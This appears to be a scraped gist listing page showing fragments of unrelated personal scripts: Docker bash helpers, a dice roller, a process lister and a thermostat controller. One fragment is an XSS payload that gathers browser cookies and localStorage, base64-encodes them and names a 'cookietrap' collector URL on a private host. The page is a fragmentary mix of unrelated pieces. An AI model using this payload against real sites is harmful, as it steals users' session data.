Just some quick functions to work with Docker, Machine and Swarm.
Copy it into your home, source it using your .bashrc and enjoy:
echo "source .bash_docker_funcs.sh" >> $HOME/.bashrc
#!/bin/bash | |
# WARNING: Running as "sh changer.sh" breaks some syntax mumbojumbo | |
# Just do a "chmod +x changer.sh" and run the file directly. | |
function show_banner { | |
figlet -f slant "Super monitor activator" | |
echo "Choose your destiny:" | |
} |
// The collector must decode the base64-encoded parameter 'payload' | |
// Suggestion: The PHP script could redirect back to the user's referer, such as: | |
// header("Location: " . $_SERVER['HTTP_REFERER']); | |
collector="http://192.168.40.6/cookietrap/trap.php?payload="; | |
c=function(){ret=""; for(var i = 0; i < document.cookie.split(";").length; i++){ ret+=("- " + document.cookie.split(";")[i] + "\n");} return ret; }(); | |
ls=function(){locStor = ""; for(var i = 0; i < localStorage.length; i++){ locStor += ("Key: " + localStorage.key(i) + "\nValue: " + localStorage.getItem(localStorage.key(i)) + "\n\n");} return locStor; }(); | |
payload="Cookies: \n"+ c + "\nLocalStorage: \n" + ls; | |
enc=btoa(payload); | |
alert("Yar cookies are: \n" + c); |
#!/usr/bin/python | |
import random | |
d = raw_input("Using dice: d") | |
a = raw_input("How many die?: ") | |
t = raw_input("How many times?: ") | |
if a == "": a=1 | |
if t == "": t=1 | |
for times in range(int(t)): | |
if t > 1: print "--- Throw " + str(times+1) |
import argparse | |
def split_logins(logins): | |
for each in logins: | |
yield each.split(":") | |
parser = argparse.ArgumentParser() | |
parser.add_argument('lists', type=str, nargs='+') | |
args = parser.parse_args() |
#!/bin/bash | |
ps aux | awk '{print $11}' | sort | uniq |
#!/usr/bin/python3 | |
# If you have the exact name of the container, just run: | |
# docker inspect --format {{.NetworkSettings.IPAddress}} <container_name> | |
import subprocess, json, argparse, sys | |
parser = argparse.ArgumentParser() | |
parser.add_argument('-n', '--name', required=True, help='Name of the container you want the IP of') |
#!/usr/bin/python | |
import Adafruit_BBIO.GPIO as GPIO | |
from w1thermsensor import W1ThermSensor | |
import time, json, thread | |
TARGETTEMP = 80.0 | |
THRESHOLD = 1.0 | |
READDELAY = 5 |
#!/bin/bash | |
wget -O stereo_2205k_16bit.wav http://download.wavetlan.com/SVV/Media/HTTP/test_stereo_22050Hz_16bit_PCM.wav | |
wget -O mono_441k_8bit.wav http://download.wavetlan.com/SVV/Media/HTTP/test_mono_44100Hz_8bit_PCM.wav |
I hereby claim:
To claim this, I am signing this object: